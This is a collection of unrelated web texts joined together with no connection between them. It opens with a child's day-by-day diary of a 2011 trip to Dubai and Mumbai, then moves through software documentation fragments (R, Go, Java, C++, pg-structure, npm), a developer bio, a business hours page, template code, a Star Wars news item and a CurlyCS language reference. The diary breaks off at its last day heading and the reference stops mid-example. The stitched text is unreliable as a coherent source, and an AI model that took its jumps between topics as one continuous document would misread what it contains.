17 Days in Asia - Middle East and India
(Dubai, United Arab Emirates - Mumbai, India 2011)
Day 1 - The Flight to Dubai
Wednesday, December 14, 2011
The first day of our vacation was mostly on a plane or in a car. I was picked up from school at around noon.
We quickly got in our car and drove home where we would meet the cab that drove us to the airport. When we got
home I was surprised to find that the cab was actually a bus! I thought is was a bit big for four people but my brother,
Adi, thought it was very cool. Once we got to the airport we quickly checked our baggage in and went through security,
from where we went to a lounge. After waiting for an hour or so we went to the gate, where we promptly boarded the plane.
The plane was nice and it was our first time on Emirates, an Arab airline. For the first few hours of the flight I read the books
I had packed. I watched some movies and fell a sleep. After another few hours we landed in Dubai, UAE ( United Arab Emi-
rates ). I was quite excited to see Dubai as for I had never been there before. By the time we had reached Dubai it was
Thursday night ( or Thursday Morning in California ). Another cab came and we went to our hotel. Once we got
to the hotel we explored the pool areas and the beach. After a few hours of browsing pools we went to sleep.
Day 2 - Tour of Dubai
Friday, December 16, 2011
We quickly woke up ( at 3am due to our jet lag ), and went to go find out if we could get a tour of Dubai. We found out
that we could catch a double-decker bus straight from our hotel. So we explored the resort's various shops ( which mostly
were not open ). We quickly had a breakfast from Starbucks and boarded the bus. The bus tour took us to many places in Dubai.
Our first stop was at The Mall of the Emirates. Where we saw Dubai's indoor skiing resort. We had lunch at the mall and got
back on the bus. Our next stop was to the Dubai mall. It was not as big as The Mall of the Emirates but still was nice. We saw
the world's tallest building, The Burj Al Kalifah, which looked like the Space Needle except it did not have a restaurant at the top.
It was huge at the bottom and then got thinner and thinner as it got higher. We then took the bus to the Dubai Museum, which
we did not see. We had stopped at the museum to change buses. We caught another bus and went to the Gold Souk ( Gold Market ).
We saw a lot of gold and jewelry shops. There were also other gift shops that sold caps and t-shirts that said
Gold Souk or Dubai. We were more interested in the gift shops. While we were walking in the Gold Souk, we saw a shop that
had the world's largest ring. The ring was a Guinness World Record holder. After driving by some
other sights, we came to our hotel. We went to our room and quickly changed into our swimsuits. We went to the pool
that we had seen the previous day and swam for an hour.
Day 3 - Flight to Bombay
Saturday, December 17, 2011
After having a better nights sleep, we ate breakfast and took our baggage downstairs. We checked-out and went outside
to meet our Emirates car. The driver took us to the airport, where we checked our baggage in. We went through security
and to the gate. We boarded the plane and took off. I watched a movie and read ( basically the same thing I did in the other
plane ). The plane ride was 2.5 hours ( which is really short compared to the other 15 hour flight ). When we landed it
was 5:30pm ( Bombay Time Zone, 13.5 hours ahead of California ). By the time the Emirates car came it was 6:30pm.
The one problem was that the Emirates car was too small, and couldn't fit all of our luggage. So we waited as he called another
car to come. We went to my Dadaji and Dadiji's house ( grandfather and grandmother ). When we got there, I flopped on the
bed and fell asleep.
Day 4 - A Day in Andheri
Sunday, December 18, 2011
Our jet lag was still off so we ended up waking at 4am ( which is not that pleasant ). We ate some breakfast, and we went downstairs
to get our cellphone SIM cards fixed. Luckily an Airtel ( Indian AT&T ) shop happened to be right next to our building. Our previous
phone company had been Reliance, which was still good but we couldn't find a Reliance shop. We walked into the Airtel shop and he
offered us a great plan that was cheaper than USD 10.00. We came back to the flat and my Fufaji and Buaji ( Uncle and Aunt ) came to
visit. After that we all went to a restaurant called The Courtyard.
Day 5 - Another Day in Andheri
Monday, December 19, 2011
We did our usual morning routine ( the same one I have been repeating over and over again ), and went and caught a cab to the
Gateway of India. When we got there we went around and took some pictures. Then we walked across the street to a hotel
called the Taj. We went to a bookstore and bought some books, I was surprised that the bookstore had the biography
of Steve Jobs by Walter Isaacson. I bought an Asterix book which I finished before I even got out of the Taj. We had
lunch at a restaurant called the Shamiana. After that we went back home. We did our usual evening routine.
Day 6 - Last Day in Andheri
Tuesday, December 20, 2011
We did our usual morning routine and we went for a haircut. We had been thinking about getting an indian style haircut for a
while ( actually I think we had been planning a little too deeply into getting that haircut ),and today we finally got it. It was
very different from the way a haircut in the US is done. First, they don't use electrical clippers ( nothing
is electrical in the haircut ), they use razor blades similar to the ones you shave with. Second, they don't ask you what size, or how short
you want your hair, they just seat you and give you a haircut. Third, it is very affordable. My haircut had cost less than a dollar. We then went to see the
movie The Adventures of TinTin: The Secret of the Unicorn, It was a good movie and we saw it 48 hours before it came out in the US.
I read for a while and sat in the flat. After a few hours our friends who live on the 7th floor of our building came to play with us.
We spent two hours at their place and then came down to the Ground floor to play badminton. The only problem was that it was
quite late at night and mosquitos wouldn't stop biting me. We came back to our flat and then went to sleep.
Day 7 - Drive to Thane
Wednesday, December 21, 2011
We did our usual morning routine quickly and caught a cab. We were going to IIT ( Indian Institute of Technology ) to drop
off my dad so he could go to his IIT reunion. After going to IIT we went to Thane, where my Dadu and Dida ( grandfather and
grandmother ) live. When we got to there house I spent the entire afternoon reading and playing on our iPad. We did
our usual evening routine.
Day 8 - Sitting at Home in Thane
Thursday, December 22, 2011
This paragraph is not worth writing. If you read the second-to-last sentence of the previous paragraph,
you will get an idea of what I did all day… which is not worth writing about.
Day 9 - Another Day in Thane
Friday, December 23, 2011
We woke up and finished breakfast quickly. We tried to Skype with my little cousin, Kunal, but it didn't work. We then went to go see
the movie Alvin and the Chipmunks 3: Chipwrecked which was a horrible movie. The only person who thought it was actually
good was Adi ( who was also the one who kept on begging to go see the movie ). We came back, ate lunch and then sat in the flat (
I was doing my normal thing when we sit in a flat, reading ). We went to the market and I bought a really nice pen for what
would have been USD 0.20. For dinner we had Dominos Pizza which was very good.
Day 10 - Yet Another Day in Thane
Saturday, December 24, 2011
We woke up and Skyped with Kunal. It was nice seeing him since we were in India. We drove to IIT
for the Class of '86 reunion. We saw many people and we sat through a couple of lectures. It was
over all very nice to see the campus. The campus is nothing like Stanford University, the college we're
used to seeing all the time. First, the campus is beside a lake, which is crocodile infested. Second, its got
a lot of animals, including oxen, cattle, stray dogs, the occasional goat, and at 6am or so there is
said to be a panther lurking around. We had lunch and then we went for a department tour. I didn't go on the
department tour because I was feeling tired, instead I sat in the IIT Guest House where my dad was staying
and watched some TV. After that we went to go find the Alumni Gift Shop, anxious to by some IIT wear. The shopkeeper
had closed the shop early ( I am not calling him stupid, but he should have left that shop open extra late because so many
alumni were on campus ). We then caught a cab and went home.
Day 11 - Christmas Day in Thane
Sunday, December 25, 2011
I woke up and sent some Christmas E-cards. We went to a mall called HyperCity. It was a lot like the Targets we see in US just that it had
various other stores within it. We went to a Crosswords Bookshop where I got a video game and a book ( as my Christmas present ). We then
explored the shops' various items including juices, chocolates, snacks, etc. After looking around HyperCity, we went to MegaStore which happens
to be right next to HyperCity. It had a lot of clothing so it wasn't really that fun to see. We went back home in an Auto Rickshaw... which I nearly
fell out of. We did the usual evening routine.
Day 12 - Another "Do Nothing" Day in Thane
Monday, December 26, 2011
I spent the entire day at home again. Which is not worth writing about. So here is another paragraph skipped.
Day 13 - Last Day in Thane
Tuesday, December 27, 2011
We woke up and spent the morning getting ready and reading. We had a short lunch and then we went to the market again.
I bought a notepad from the same shop I had bought my pen from, again this notepad was very cheap. After that we went to
another friends' house. We sat as we watched a six-year-old dance Kathak very well. After that we went home and had Dominoes Pizza
again. We came back and I fell asleep.
Day 14 - Drive back to Andheri
Wednesday, December 28, 2011
We woke up and tried to book a cab back to Andheri ( the place where my Dadaji and Dadiji stay ). We found that both our cell phones
didn't work. We found out that it was an Airtel mistake. There apparently had been some fire at the data center so we could not get any
service. We still managed to get the cab booked because we still had internet. After we had solved that problem the cab came. We drove
to Andheri and we went to another one of my Dadu's house. I sat and read the book I had bought from HyperCity ( The Red Pyramid if anyone
was wondering ) and played some iPad. I continued to do the same things until 3pm, from where we left to go to a place called Infiniti Mall.
We bought a few things that were products of my Dadu's company. We then left the mall. We came back and we had dinner with all my family in
both Andheri and Thane. The only person who was not with us was my Dadu in Thane. After that we went back to my Dadaji and Dadiji's house.
Day 15 - Andheri
Thursday, December 29, 2011
We got up and got ready quickly. We then spent the morning at home ( you probably know what I did ). After lunch we went to play with our
friends on the 7th floor of our building. After playing with them for a few hours, the rest of my family came for dinner. We had some of my
favorite foods including: paneer ( indian tofu ), soup, subzi ( steamed and/or cooked vegetables ), roti ( similar to tortilla ), garlic bread.
So this dinner was more of an Indian-Italian fusion. After that we played on our iPad, and messed with some Lego. After another few hours
we came back to our flat on the 3rd floor.
Day 16 - Bombay Temples
Friday, December 30, 2011
We did our usual morning routine and got in our car. We drove to a temple named Gaudaya Math, and it was quite interesting, it had inscriptions of legends and such
in Hindi, Bengali, and English. I understood all of them ( luckily ). After that we drove to an even bigger temple. It was very very crowded, there had
to be at least 2000 people there, maybe more. We went inside the temple and I was surprised how many people were crammed in there. It was very easy
getting in there. Getting out was much harder. We had squeeze through a lot of people standing in the way. Luckily, there were security guards helping
to control the crowd. When we got out we tried to call our driver. The only problem was Airtel wasn't working. Airtel had failed us at exact wrong moment.
We eventually were able to send an SMS to our driver. After that we went to a really nice restaurant called Copper Chimney, It had a lot of very good
food. I think my favorite part was the desert. After that we came home and rested for an hour. We then went to a clothing shop to buy some new t-shirts
and such. After that we went to the 7th floor play with our friends again. After that we came back to have dinner. We then tried staying up all night ( which
didn't work too well, we fell asleep at 11:30pm ).
Day 17 - Last Day in India
Saturday, December 31, 2011


| static | Credentials() |
| private | Credentials() |
| public String<char> | GetGroupName(int gid) const |
| public String<char> | GetUserName(int uid) const |
| public static Credentials& | Instance() |
| private Groups | groups |
| private static UniquePtr<Credentials> | instance |
| private Users | users |


This function reads in all files from a directory using the chosen import
function. Use the 'pattern' argument to specify a set of files, or a
single file type. If collapse = TRUE bind
is used
to match column names and bind the imported data into a single object.
All ingest functions use the source file name as an identifying
column to track provenance and relate data and metadata read from files.
Please check that you have unique file names.
ingest_directory(directory = getwd(), ingest.function = utils::read.csv, pattern = "*", collapse = TRUE, recursive = FALSE, use.parallel = FALSE, check.duplicates = "warn", ...)
| directory | A character vector with the name of the directory that contains your data files. Defaults to the working directory. |
|---|---|
| ingest.function | The function to use to read in the files, defaults to
|
| pattern | A character vector providing the pattern to match filenames as
in |
| collapse | A logical argument, when true a single object is returned,
when false an object is returned for each file. Defaults to |
| recursive | A logical argument, when true files are read recursively,
defaults to |
| use.parallel | A logical argument indicating whether the package
|
| check.duplicates | A character argument specifying the action that should be taken if files with duplicate contents are detected. One of "warn", "remove", or NULL to disable checking. Defaults to "warn". |
| ... | Additional arguments to pass to the input method |
When collapse = T
a single object matching the output class
of fun
is returned. When collapse = F
a single object is
returned matching the output class of fun
in the parent environment
of the function. The names of the input sources are used as object names
If check.duplicates = "remove"
then only a single set of records will
be retained when files have identical contents. This does not provide rowwise
checking for duplicates. A separate data.frame specifying the removed
input_source, the number of records removed, and the reason for removal.
If using an ingest_*
function and header.info.name
must be set to
NULL, a character vector of length 1 if collapse = TRUE
, or a named character
vector with length equal to the number of files to be ingested if
collapse = FALSE
. If header.info.name
is set to NULL then
header.info.name will be set to "header_base_directory_name" when
collapse = TRUE
or for each file the header information will be stored
as "header_filename". If a named character vector is supplied the names
should match the file names to be read in and the desired names are stored as
the values.


I'm David Lucio, but you can just call me "Lucio." I've been a web developer and engineer for more than a decade now. I originally started back-end, but shifted to front-end later in my career
However, even after a decade, skills can stagnate. So I've enrolled in a bootcamp to refresh my knowledge, pick uip new skills, and reset the course of my career.
Outside of Bootcamp, you can find me playing games, spending time outdoors with my two wolves (Fenris and Nymeria), or catching up on shows and movies.


Syntax definition for implicit transformation calling.
Syntax definition for implicit transformation calling. An error will be thrown if the transformation has no rule to do the conversion
the source model element that should be transformed
returns the transformed model element
creates a new element of the given type
creates a new element of the given type
the newly created target model element of the given type
Syntax definition to get created elements of a given type
Syntax definition to get created elements of a given type
A Set of created target model elements of the given type
Syntax definition to get input elements of a given type
Syntax definition to get input elements of a given type
A list of source model elements of the given type
The logger instance for each class
The logger instance for each class
Syntax definiton to register a model element
Syntax definiton to register a model element
the target-model-element that should be registered in the model
setter for the transformation helper
setter for the transformation helper
the helper object that should be used
This object supports better sntax using a transformation helper the drawback is, that it can only be used in a single threaded transformation environment.


Application delivers the consented proposal and corresponding signatures.
type Application interface { // Deliver delivers the given proposal and signatures. // After the call returns we assume that this proposal is stored in persistent memory. // It returns whether this proposal was a reconfiguration and the current config. Deliver(proposal bft.Proposal, signature []bft.Signature) bft.Reconfig }
Assembler creates proposals.
type Assembler interface { // AssembleProposal creates a proposal which includes // the given requests (when permitting) and metadata. AssembleProposal(metadata []byte, requests [][]byte) bft.Proposal }
Comm enables the communications between the nodes.
type Comm interface { // SendConsensus sends the consensus protocol related message m to the node with id targetID. SendConsensus(targetID uint64, m *protos.Message) // SendTransaction sends the given client's request to the node with id targetID. SendTransaction(targetID uint64, request []byte) // Nodes returns a set of ids of participating nodes. // In case you need to change or keep this slice, create a copy. Nodes() []uint64 }
Logger defines the contract for logging.
type Logger interface { Debugf(template string, args ...interface{}) Infof(template string, args ...interface{}) Errorf(template string, args ...interface{}) Warnf(template string, args ...interface{}) Panicf(template string, args ...interface{}) }
RequestInspector extracts info (i.e. request id and client id) from a given request.
type RequestInspector interface { // RequestID returns info about the given request. RequestID(req []byte) bft.RequestInfo }
Signer signs on the given data.
type Signer interface { // Sign signs on the given data and returns the signature. Sign([]byte) []byte // SignProposal signs on the given proposal and returns a composite Signature. SignProposal(bft.Proposal) *bft.Signature }
Synchronizer reaches the cluster nodes and fetches blocks in order to sync the replica's state.
type Synchronizer interface { // Sync blocks indefinitely until the replica's state is synchronized to the latest decision, // and returns it with info about reconfiguration. Sync() bft.SyncResponse }
Verifier validates data and verifies signatures.
type Verifier interface { // VerifyProposal verifies the given proposal and returns the included requests' info. VerifyProposal(proposal bft.Proposal) ([]bft.RequestInfo, error) // VerifyRequest verifies the given request and returns its info. VerifyRequest(val []byte) (bft.RequestInfo, error) // VerifyConsenterSig verifies the signature for the given proposal. VerifyConsenterSig(signature bft.Signature, prop bft.Proposal) error // VerifySignature verifies the signature. VerifySignature(signature bft.Signature) error // VerificationSequence returns the current verification sequence. VerificationSequence() uint64 // RequestsFromProposal returns from the given proposal the included requests' info RequestsFromProposal(proposal bft.Proposal) []bft.RequestInfo }
WriteAheadLog is a write ahead log.
type WriteAheadLog interface { // Append appends a data item to the end of the WAL // and indicate whether this entry is a truncation point. Append(entry []byte, truncateTo bool) error }


Db
Class which represent a database. Provides attributes and methods for details of the database.
Kind: global class
- Db
- new Db(args, options)
- .name :
string
- .fullName :
string
- .fullCatalogName :
string
- .options :
Object
- .schemas :
Map.<Schema>
- .get(path) ⇒
Schema
|Table
|Column
|undefined
new Db(args, options)
Constructor function. You don't need to call constructor manually. pg-structure handles this.
| Param | Type | Default | Description |
|---|---|---|---|
| args | Object |
Attributes of the Database instance to be created. | |
| args.name | Object |
Name of the Db instance. | |
| options | Object |
Options to modify behaviour of classes. | |
| [options.cache] | boolean |
true |
Use cache to memoize calculated results. |
db.name : string
Name of the Database.
Kind: instance property of Db
Read only: true
db.fullName : string
Full name of the Database with (.) notation. Since database does not have a parent this equals database name.
Kind: instance property of Db
Read only: true
db.fullCatalogName : string
Full name of the Database with (.) notation including catalog name. Since database does not have a parent this equals database name.
Kind: instance property of Db
Read only: true
db.options : Object
Options passed to during initialization.
Kind: instance property of Db
Read only: true
db.schemas : Map.<Schema>
All Schema instances in the database as a Map. Schemas are ordered by their name.
Kind: instance property of Db
Read only: true
See: Map
Example
let isAvailable = db.schemas.has('another_schema');
let schemaNames = Array.from(db.schemas.keys()); // Use spread operator to get schema names as an array.
let public = db.schemas.get('public');
let name = public.name;
for (let schema of db.schemas.values()) {
console.log(schema.name);
}
for (let [name, schema] of db.schemas) {
console.log(name, schema.name);
}
db.get(path) ⇒ Schema
| Table
| Column
| undefined
Returns Schema, Table or Column on given path relative to Db. Path should be in dot (.) notation.
Kind: instance method of Db
Returns: Schema
| Table
| Column
| undefined
- - Requested item.
| Param | Type | Description |
|---|---|---|
| path | string |
Path of the requested item in dot (.) notation such as 'public.contact' |
Example
var schema = db.get('public'), // Returns public schema.
table = db.get('public.contact'), // Returns contact table in public schema.
column = db.get('public.contact.name'); // Returns name column of the contact table in public schema.


npm-shrinkwrap.json
is a file created by npm
shrinkwrap
. It is identical to package-lock.json
, with one major caveat: Unlike
package-lock.json
, npm-shrinkwrap.json
may be included when publishing a package.
The recommended use-case for npm-shrinkwrap.json
is applications deployed through the publishing
process on the registry: for example, daemons and command-line tools intended as global installs or
devDependencies
. It’s strongly discouraged for library authors to publish this file, since that
would prevent end users from having control over transitive dependency updates.
Additionally, if both package-lock.json
and npm-shrinkwrap.json
are present in a
package root, package-lock.json
will be ignored in favor of this file.
For full details and description of the npm-shrinkwrap.json
file format, refer to the manual page
for package-lock.json.


We are open:
- Monday: 6am - 7pm
- Tuesday: 6am - 7pm
- Wednesday: 6am - 7pm
- Thursday: 6am - 7pm
- Friday: 6am - 7pm
- Saturday: 6am - 7pm
- Sunday: 6am - 7pm
Our location:
1301 Eagle Ridge
LeClaire IA 52753
Phone:<PHONE_NUMBER>
1301 Eagle Ridge
LeClaire IA 52753
Phone:<PHONE_NUMBER>


{% block title_full %}{% block title %}{{ page_title }}{% endblock title %} | MAKE NTNU{% endblock title_full %}
{% block favicon_template %}
{% include 'web/favicon.html' with favicons_folder='web/img/favicons' %}
{% endblock favicon_template %}
{% block open_graph_meta %}
{% translate "MAKE NTNU is a voluntary student organization that works for a better environment for project development, both in private and educational contexts, for all students and employees at NTNU." as site_description %}
{% endblock open_graph_meta %}
{# Temporary fix for CKEditor not being able to find its static files (see https://django-ckeditor.readthedocs.io/en/latest/#required) #}
{% block analytics %}
{% endblock analytics %}
{% block header_links %}
{% endblock header_links %}
{# `common_utils.js` should not be deferred, as it only contains function definitions #}
{# Should be kept at the bottom of ``, so that deferred form media scripts are loaded after the scripts linked above #}
{% block extra_head %}{% endblock extra_head %}
{# Should always be the first child of `` #}
{% translate "Skip to main content" %}


John Boyega prompts ‘Star Wars’ debate with Rey character revelation
He's a "Stanakin" now, it seems
Star Wars actor John Boyega has started a debate online after stating that he believes Anakin Skywalker is a better Jedi than this trilogy’s heroine, Rey.
- Read more: Star Wars: The Rise of Skywalker — what we know so far about the final film in the trilogy
Responding to an ongoing debate over the powers of Rey, Boyega, who plays Finn in the current trilogy, tweeted his thoughts on the topic.
“I’m sorry guys,” Boyega wrote on Twitter, “but Anakin slapping all of us in a pit of lava. Including Kylo.”
Fans then quickly responded to Boyega’s claim, with many dubbing him a “Stanakin.”
The last film in the upcoming Star Wars trilogy, The Rise Of Skywalker, is set for release on December 12.
This week, it was revealed that Star Wars: The Rise of Skywalker is on course to score the lowest opening weekend box office figures of the trilogy.
Despite tickets for the first screenings of the final part of the sequel trilogy in the US outselling Avengers: Endgame in the first hour of pre-sales, according to Box Office Pro, it is projected to rake in $200 million on its opening weekend.
Earlier this month, Lucasfilm’s Kathleen Kennedy explained that the studio are ditching the idea of releasing two Star Wars films a year.
“We tried to look at Solo and see if we could do two movies a year and we found, ‘Hmm that’s not going to work,’” Kennedy said, adding: “So we backed off a little.”
Meanwhile, it was revealed that Game Of Thrones showrunners David Wenioff and D.B. Weiss are pulling out of working on the next Star Wars trilogy due to time constraints and their work for Netflix.


Toggle navigation
My Theme
Home
About
Contact
Dropdown
Action
Where we are
Something else here
Nav header
Separated link
One more separated link
What are your minutes?
We are open 24/7
What are your hours?
We are open 24/7
What are your hours?
We are open 24/7
What are your hours?
We are open 24/7
What are your hours?
We are open 24/7
What are your hours?
We are open 24/7


Available API's:
General
/health
/health/collections
/health/steemd
busy.org
/busy.org/(username)/followers|following
steemq.com
/steemq.com/new
/steemq.com/trending
/steemq.com/blog/(username)
/steemq.com/search/(search+terms)
/steemq.com/search/(username)/(search+terms)
{#
steemdata.com
#} {#
#} {#
/steemdata.com/mentions/(username)
#} {#
/steemdata.com/linkbacks/(identifier)
#} {#
/steemdata.com/search/(search+terms)
#} {#
#}


CurlyCS is simply a CoffeeScript variant that brings back the JavaScript-like block syntax, while retaining the powerful features, including 'Array Slicing & Splicing', 'Destructuring Assignment', 'Optional Guard Clause', 'Comprehensions', Splats, 'Generator Function', 'Chained Comparisons', 'Existential Operator', Block Strings, etc.. Hopefully, CurlyCS will be an alternative option for developers who really like the powerful features in CoffeeScript but are not used to its indentation-based and whitespace-sensitive syntax.
CurlyCS Source Repository at GitHub
Latest Version: 0.01.1
npm install -g curly-cs
As the semantics of CurlyCS mostly match CoffeeScript, most of the contents and examples in this reference are taken from the CoffeeScript Language Reference with the following modifications: first, all of the examples have been translated from CoffeeScript into CurlyCS; second, the contents on some subjects have been revised to be more detailed; last, the subjects have been restructured for reflecting a natural reading flow (in my opinion).
CurlyCS is the same as CoffeeScript on semantics but different on syntax. CurlyCS syntax is not whitespace-sensitive or indentation-based. Like JavaScript, CurlyCS uses curly braces { }
to surround code blocks, such as function and class bodies, conditional and loop statements, try/catch, etc., semicolons ;
to terminate statements unless they are the last one inside a script or a block, and parentheses ( )
to define or invoke a function with arguments.
In all of the examples, the source CurlyCS code is provided on the left, and the direct compilation into JavaScript is on the right. Many of the examples can be run (where it makes sense) by pressing the run button on the right, and can be loaded into the "Try CurlyCS" console by pressing the load button on the left.
Objects and Arrays The CurlyCS literals for objects and arrays are actually the same as their JavaScript cousins.
song = ["do", "re", "mi", "fa", "so"];
singers = {Jagger: "Rock", Elvis: "Roll"};
bitlist = [
1, 0, 1,
0, 0, 1,
1, 1, 0
];
kids = {
brother: {
name: "Max",
age: 11
},
sister: {
name: "Ida",
age: 9
}
};
var bitlist, kids, singers, song;
song = ["do", "re", "mi", "fa", "so"];
singers = {
Jagger: "Rock",
Elvis: "Roll"
};
bitlist = [1, 0, 1, 0, 0, 1, 1, 1, 0];
kids = {
brother: {
name: "Max",
age: 11
},
sister: {
name: "Ida",
age: 9
}
};
In JavaScript, you can't use reserved words, like class
, as properties
of an object, without quoting them as strings. CurlyCS notices reserved words
used as keys in objects and quotes them for you, so you don't have to worry
about it (say, when using jQuery).
$('.account').attr({ class: 'active' });
log(object.class);
$('.account').attr({
"class": 'active'
});
log(object["class"]);
Array Slicing and Splicing
Ranges can be used to extract slices of arrays. With two dots (3..6
), the range is inclusive (3, 4, 5, 6
); With three dots (3...6
), the range excludes the end (3, 4, 5
). Slices indices have useful defaults. An omitted first index defaults to zero and an omitted second index defaults to the size of the array.
numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9];
start = numbers[0..2];
middle = numbers[3...-2];
end = numbers[-2..];
copy = numbers[..];
var copy, end, middle, numbers, start;
numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9];
start = numbers.slice(0, 3);
middle = numbers.slice(3, -2);
end = numbers.slice(-2);
copy = numbers.slice(0);
The same syntax can be used with assignment to replace a segment of an array with new values, splicing it.
numbers = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9];
numbers[3..6] = [-3, -4, -5, -6];
var numbers, ref;
numbers = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9];
[].splice.apply(numbers, [3, 4].concat(ref = [-3, -4, -5, -6])), ref;
Note that JavaScript strings are immutable, and can't be spliced.
Destructuring Assignment Just like JavaScript (since ES2015), CurlyCS has destructuring assignment syntax. When you assign an array or object literal to a value, CurlyCS breaks up and matches both sides against each other, assigning the values on the right to the variables on the left. In the simplest case, it can be used for parallel assignment:
theBait = 1000;
theSwitch = 0;
[theBait, theSwitch] = [theSwitch, theBait];
var ref, theBait, theSwitch;
theBait = 1000;
theSwitch = 0;
ref = [theSwitch, theBait], theBait = ref[0], theSwitch = ref[1];
But it's also helpful for dealing with functions that return multiple values.
weatherReport = (location) -> {
# Make an Ajax request to fetch the weather...
[location, 72, "Mostly Sunny"];
}
[city, temp, forecast] = weatherReport("Berkeley, CA");
var city, forecast, ref, temp, weatherReport;
weatherReport = function(location) {
return [location, 72, "Mostly Sunny"];
}
ref = weatherReport("Berkeley, CA"), city = ref[0], temp = ref[1], forecast = ref[2];
Destructuring assignment can be used with any depth of array and object nesting, to help pull out deeply nested properties.
futurists = {
sculptor: "Umberto Boccioni",
painter: "Vladimir Burliuk",
poet: {
name: "F.T. Marinetti",
address: [
"Via Roma 42R",
"Bellagio, Italy 22021"
]
}
};
{poet: {:name, address: [street, city]}} = futurists;
var city, futurists, name, ref, ref1, street;
futurists = {
sculptor: "Umberto Boccioni",
painter: "Vladimir Burliuk",
poet: {
name: "F.T. Marinetti",
address: ["Via Roma 42R", "Bellagio, Italy 22021"]
}
};
ref = futurists.poet, name = ref.name, (ref1 = ref.address, street = ref1[0], city = ref1[1]);
Destructuring assignment can even be combined with splats.
tag = "<impossible>";
[open, contents..., close] = tag.split("");
var close, contents, i, open, ref, tag,
slice = [].slice;
tag = "<impossible>";
ref = tag.split(""), open = ref[0], contents = 3 <= ref.length ? slice.call(ref, 1, i = ref.length - 1) : (i = 1, []), close = ref[i++];
Expansion can be used to retrieve elements from the end of an array without having to assign the rest of its values. It works in function parameter lists as well.
text = "Every literary critic believes he will
outwit history and have the last word";
[first, ..., last] = text.split(" ");
var first, last, ref, text;
text = "Every literary critic believes he will outwit history and have the last word";
ref = text.split(" "), first = ref[0], last = ref[ref.length - 1];
Destructuring assignment is also useful when combined with class constructors to assign properties to your instance from an options object passed to the constructor.
class Person {
constructor: (options) -> {
{:@name, :@age, :@height = 'average'} = options;
}
}
tim = new Person({ name: 'Tim', age: 4 });
var Person, tim;
Person = (function() {
function Person(options) {
var ref;
this.name = options.name, this.age = options.age, this.height = (ref = options.height) != null ? ref : 'average';
}
return Person;
})();
tim = new Person({
name: 'Tim',
age: 4
});
The above example also demonstrates that if properties are missing in the destructured object or array, you can, just like in JavaScript, provide defaults. The difference with JavaScript is that CurlyCS, as always, treats both null and undefined the same.
Operators and Aliases
Because the ==
operator frequently causes undesirable coercion,
is intransitive, and has a different meaning than in other languages,
CurlyCS compiles ==
into ===
, and !=
into
!==
.
In addition, is
compiles into ===
,
and isnt
into !==
.
You can use not
as an alias for !
. For logic, and
compiles to &&
, and or
into ||
.
on
and yes
are the same as boolean true
,
while off
and no
are boolean false
.
unless
can be used as the inverse of if
.
As a shortcut for this.property
, you can use @property
.
You can use in
to test for array presence, and of
to
test for object-key presence.
To simplify math expressions, **
can be used for exponentiation
and //
performs integer division. %
works just like in
JavaScript, while %%
provides
“dividend dependent modulo”:
-7 % 5 == -2;
-7 %% 5 == 3;
tabs.selectTabAtIndex((tabs.currentIndex - count) %% tabs.length);
var modulo = function(a, b) { return (+a % (b = +b) + b) % b; }
-7 % 5 === -2;
modulo(-7, 5) === 3;
tabs.selectTabAtIndex(modulo(tabs.currentIndex - count, tabs.length));
All together now:
| CurlyCS | JavaScript |
|---|---|
is | === |
isnt | !== |
not | ! |
and | && |
or | || |
true , yes , on | true |
false , no , off | false |
@ , this | this |
of | in |
in | no JS equivalent |
a ** b | Math.pow(a, b) |
a // b | Math.floor(a / b) |
a %% b | (a % b + b) % b |
launch() if ignition is on;
volume = 10 if band isnt SpinalTap;
letTheWildRumpusBegin() unless answer is no;
if car.speed < limit { accelerate() };
winner = yes if pick in [47, 92, 13];
print(inspect("My name is #{@name}"));
var volume, winner;
if (ignition === true) {
launch();
}
if (band !== SpinalTap) {
volume = 10;
}
if (answer !== false) {
letTheWildRumpusBegin();
}
if (car.speed < limit) {
accelerate();
}
if (pick === 47 || pick === 92 || pick === 13) {
winner = true;
}
print(inspect("My name is " + this.name));
If/Else and Unless CurlyCS can compile if statements into JavaScript expressions, using the ternary operator when possible, and closure wrapping otherwise. There is no explicit ternary statement in CurlyCS — you simply use a regular if statement on a single line.
There's also a handy postfix form, with the if
or unless
at the end.
if happy and knowsIt {
clapsHands();
chaChaCha();
} else {
showIt();
}
date = if friday { sue } else { jill };
mood = greatlyImproved if singing;
var date, mood;
if (happy && knowsIt) {
clapsHands();
chaChaCha();
} else {
showIt();
}
date = friday ? sue : jill;
if (singing) {
mood = greatlyImproved;
}
Switch/When/Else
Switch statements in JavaScript are a bit awkward. You need to
remember to break at the end of every case statement to
avoid accidentally falling through to the default case.
CurlyCS prevents accidental fall-through, and can convert the switch
into a returnable, assignable expression.
Switch statements in CurlyCS can take multiple values for each when clause. If any of the values match, the clause runs.
switch day {
when "Mon" { go(work) }
when "Tue" { go(relax) }
when "Thu" { go(iceFishing) }
when "Fri", "Sat" {
if day is bingoDay {
go(bingo);
go(dancing);
}
}
when "Sun" { go(church) }
else { go(work) }
}
switch (day) {
case "Mon":
go(work);
break;
case "Tue":
go(relax);
break;
case "Thu":
go(iceFishing);
break;
case "Fri":
case "Sat":
if (day === bingoDay) {
go(bingo);
go(dancing);
}
break;
case "Sun":
go(church);
break;
default:
go(work);
}
Switch statements can also be used without a control expression, turning them in to a cleaner alternative to if/else chains.
score = 76;
grade = switch {
when score < 60 { 'F' }
when score < 70 { 'D' }
when score < 80 { 'C' }
when score < 90 { 'B' }
else { 'A' }
}
# grade == 'C'
var grade, score;
score = 76;
grade = (function() {
switch (false) {
case !(score < 60):
return 'F';
case !(score < 70):
return 'D';
case !(score < 80):
return 'C';
case !(score < 90):
return 'B';
default:
return 'A';
}
})();
Loops and Comprehensions Most of the loops you'll write in CurlyCS will be comprehensions over arrays, objects, and ranges. Comprehensions replace (and compile into) for loops, with optional guard clauses and the value of the current array index. Unlike for loops, array comprehensions are expressions, and can be returned and assigned.
# Eat lunch.
eat(food) for food in ['toast', 'cheese', 'wine'];
# Fine five course dining.
courses = ['greens', 'caviar', 'truffles', 'roast', 'cake'];
menu(i + 1, dish) for dish, i in courses;
# Health conscious meal.
foods = ['broccoli', 'spinach', 'chocolate'];
eat(food) for food in foods when food isnt 'chocolate';
var courses, dish, food, foods, i, j, k, l, len, len1, len2, ref;
ref = ['toast', 'cheese', 'wine'];
for (j = 0, len = ref.length; j < len; j++) {
food = ref[j];
eat(food);
}
courses = ['greens', 'caviar', 'truffles', 'roast', 'cake'];
